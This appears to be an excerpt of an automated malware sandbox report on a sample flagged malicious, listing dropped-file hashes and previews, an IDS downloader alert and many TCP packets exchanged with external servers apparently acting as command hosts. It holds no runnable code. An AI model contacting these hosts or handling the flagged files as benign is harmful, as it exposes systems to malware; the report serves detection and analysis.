Size (bytes):	22998363
Entropy (8bit):	5.855542002935661
Encrypted:	false
SSDEEP:	196608:7J4Hvn01nopKM8POZjcDJ5tASic6bcyDb:cvnaopKVscDFFic6bcyDb
MD5:	074ED5F745FD9A2EF6F29FD2D9AFB07A
SHA1:	86A99DC6671F246AAE0C45F9AC678D5604A237F7
SHA-256:	F89541C6B15925915CB3BBA6E812FF868C99FFDA7581C866EC9DFB6B4EA1507F
SHA-512:	1629A50C06B2FABE1F911C4997727D4963BF1A99A1949507D1F6FE46657AA1000F28A9000B32C202DE4C3410315D1CB1823FE512CECB3750C8906D5C5392EE6D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........\T..>....&.....H@..&y................@.............................@Z.....k._...`... ......................................p}.Y.....}..............`v..u............}............................. (v.(...................p.}.0............................text....G@......H@.................`..`.data....H...`@..J...N@.............@....rdata.. .1...D...1...D.............@..@/4...........Pv......4v.............@....pdata...u...`v..v...6v.............@..@.xdata...o....w..p....w.............@..@.bss....`....Px..........................edata..Y....p}.......x.............@..@.idata........}.......x.............@....CRT....`.....}......8x.............@....tls..........}......:x.............@....reloc........}......<x.............@..B/14...........~......,y.............@..B/29.......K...~...K..0y.............@..B/41.....'.......,...:..............@..B/55.....

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.661246408240617
Encrypted:	false
SSDEEP:	6:ROV8KhGWAD2WtNT38k3ECO6xHoY0jYijX3:cVVGie3v3AfVL
MD5:	6336C9FB92B729A91192AE0D8F513635
SHA1:	5C894982B4121B2E8666AF9461DA1AB6A9842DC1
SHA-256:	B7F7353F4153831BD5E840EE05781574F88C82929D9BD8E17A2639EBB3539B77
SHA-512:	1A964980B4280286F367E718A4C8BDDA9E1AF1EC80F376F1C7A43F708A5D68C47C4DC8B65DB8EB6337CAFDFD66FAD39C0D7D838BB1F04C774C12E0EA3A82225E
Malicious:	false
Preview:	The XKEYBOARD keymap compiler (xkbcomp) reports:..> Warning: Type "ONE_LEVEL" has 1 levels, but <RALT> has 2 symbols..> Ignoring extra symbols..Errors from xkbcomp are not fatal to the X server..

\Device\Mup\user-PC\PIPE\samr

Download File

Process:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
File Type:	GLS_BINARY_LSB_FIRST
Category:	dropped
Size (bytes):	160
Entropy (8bit):	4.438743916256937
Encrypted:	false
SSDEEP:	3:rmHfvtH//STGlA1yqGlYUGk+ldyHGlgZty:rmHcKtGFlqty
MD5:	E467C82627F5E1524FDB4415AF19FC73
SHA1:	B86E3AA40E9FBED0494375A702EABAF1F2E56F8E
SHA-256:	116CD35961A2345CE210751D677600AADA539A66F046811FA70E1093E01F2540
SHA-512:	2A969893CC713D6388FDC768C009055BE1B35301A811A7E313D1AEEC1F75C88CCDDCD8308017A852093B1310811E90B9DA76B6330AACCF5982437D84F553183A
Malicious:	false
Preview:	................................xW4.4.....#Eg.......]..........+.H`........xW4.4.....#Eg......3.qq..7I......6........xW4.4.....#Eg......,..l..@E............

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.441966873787832
TrID:	Win32 Executable (generic) a (10002005/4) 99.10% InstallShield setup (43055/19) 0.43% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	T2dvU8f2xg.exe
File size:	20'954'448 bytes
MD5:	e94178c1c416647220889ffd3bdecfb5
SHA1:	2b14a3564d79362ba2bdfce85fca4c4b595531bd
SHA256:	aff26ef08f47b7543f4f84e5fd6d378d950f9b7d99a2397e3e56fb064db0efe2
SHA512:	5f7f82146efbdcf968419cc1e43c2b19a4fa1ef95fe55e9ee78ea46cdc8f07f09cc5473697c5c48fc05a1d3683a031e3508946cc2ab21b7168f0aa98c8e20e16
SSDEEP:	393216:bmWPWKfiaQENSoXO0lRuZeB9fbKZgBNcSTwnDsyHwPj:Pdia/+0HuZW9fbKa7c/VQr
TLSH:	0727CF15F7418427D1670A74C817B6FAA92A7E202F3C45E7F7E02E1CAB356C37639286
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	41774d4161c50c19

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T13:20:46.914092+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49833	107.148.62.100	8084	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 13:20:53.436377048 CET	49717	8087	192.168.2.10	154.19.200.133
Dec 18, 2024 13:20:53.556385994 CET	8087	49717	154.19.200.133	192.168.2.10
Dec 18, 2024 13:20:53.556483984 CET	49717	8087	192.168.2.10	154.19.200.133
Dec 18, 2024 13:20:53.573656082 CET	49717	8087	192.168.2.10	154.19.200.133
Dec 18, 2024 13:20:53.693454027 CET	8087	49717	154.19.200.133	192.168.2.10
Dec 18, 2024 13:20:55.487709045 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:55.487818003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:55.487910986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:55.506748915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:55.506829023 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:56.139714003 CET	8087	49717	154.19.200.133	192.168.2.10
Dec 18, 2024 13:20:56.139781952 CET	49717	8087	192.168.2.10	154.19.200.133
Dec 18, 2024 13:20:56.145034075 CET	49717	8087	192.168.2.10	154.19.200.133
Dec 18, 2024 13:20:56.264668941 CET	8087	49717	154.19.200.133	192.168.2.10
Dec 18, 2024 13:20:57.339624882 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:57.339720964 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:57.957884073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:57.957916975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:57.958235979 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:57.958596945 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:58.082813978 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:58.127341032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:58.826874018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:58.826914072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:58.826931000 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:58.826992989 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:58.827018976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:58.827109098 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:58.827109098 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:58.876699924 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:58.876821041 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:58.876851082 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:58.876879930 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:58.876897097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:58.878014088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.046041012 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.046062946 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.046112061 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.046133995 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.046153069 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.046169043 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.086971045 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.087013006 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.087075949 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.087101936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.087142944 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.087162018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.129566908 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.129599094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.129678011 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.129708052 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.129761934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.164921999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.165020943 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.165030956 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.165079117 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.165098906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.165119886 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.267376900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.267412901 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.267463923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.267483950 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.267535925 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.267553091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.295394897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.295470953 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.295526981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.295546055 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.295591116 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.313144922 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.313190937 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.313268900 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.313286066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.313345909 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.313345909 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.325437069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.325458050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.325558901 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.325576067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.325613022 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.341563940 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.341628075 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.341681004 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.341698885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.341737986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.372826099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.372863054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.372932911 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.372963905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.372978926 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.373002052 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.449445963 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.449472904 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.449609041 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.449642897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.449686050 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.469252110 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.469293118 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.469325066 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.469353914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.469384909 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.469393015 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.480700970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.480719090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.480798960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.480824947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.480874062 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.492746115 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.492861986 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.492894888 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.492921114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.492939949 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.492958069 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.501061916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.501154900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.501205921 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.501244068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.501264095 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.501281977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.507599115 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.507626057 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.507708073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.507736921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.507761002 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.507781982 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.514507055 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.514527082 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.514621973 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.514647961 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.514684916 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.522170067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.522222042 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.522291899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.522316933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.522337914 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.522355080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.638760090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.638794899 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.638896942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.638926029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.638972044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.657341003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.657398939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.657454967 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.657480955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.657509089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.657526016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.663710117 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.663764000 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.663835049 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.663855076 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.663892031 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.670588970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.670617104 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.670691013 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.670717955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.670756102 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.676594019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.676620007 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.676686049 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.676709890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.676734924 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.676753998 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.683664083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.683701992 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.683741093 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.683763981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.683803082 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.683829069 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.689786911 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.689826012 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.689867020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.689892054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.689915895 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.689934969 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.696490049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.696527004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.696587086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.696609974 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.696683884 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.696683884 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.830142021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.830184937 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.830236912 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.830265999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.830284119 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.830322981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.849390984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.849427938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.849467993 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.849487066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.849512100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.849529028 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.856149912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.856189966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.856275082 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.856275082 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.856297970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.856344938 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.863027096 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.863065958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.863096952 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.863112926 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.863137007 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.863152981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.868603945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.868635893 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.868673086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.868689060 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.868712902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.868731022 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.875441074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.875466108 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.875508070 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.875519991 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.875540018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.875556946 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.881854057 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.881900072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.881932020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.881951094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.881972075 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.881990910 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.889475107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.889503002 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.889544964 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.889559984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:20:59.889581919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:20:59.889599085 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.020004988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.020054102 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.020148993 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.020174026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.020204067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.020221949 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.041799068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.041826010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.041889906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.041917086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.041963100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.047859907 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.047884941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.047930956 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.047947884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.047993898 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.056452990 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.056488991 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.056521893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.056538105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.056579113 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.061562061 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.061599016 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.061636925 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.061650038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.061683893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.061692953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.068099976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.068125010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.068176031 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.068191051 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.068217993 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.068228006 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.074419975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.074440002 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.074486017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.074502945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.074528933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.074548006 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.093425035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.093445063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.093489885 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.093513966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.093540907 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.093564987 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.211993933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.212019920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.212083101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.212105989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.212124109 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.212177992 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.233737946 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.233763933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.233848095 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.233866930 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.233953953 CET	49723	443	192.168.2.10	118.107.29.172
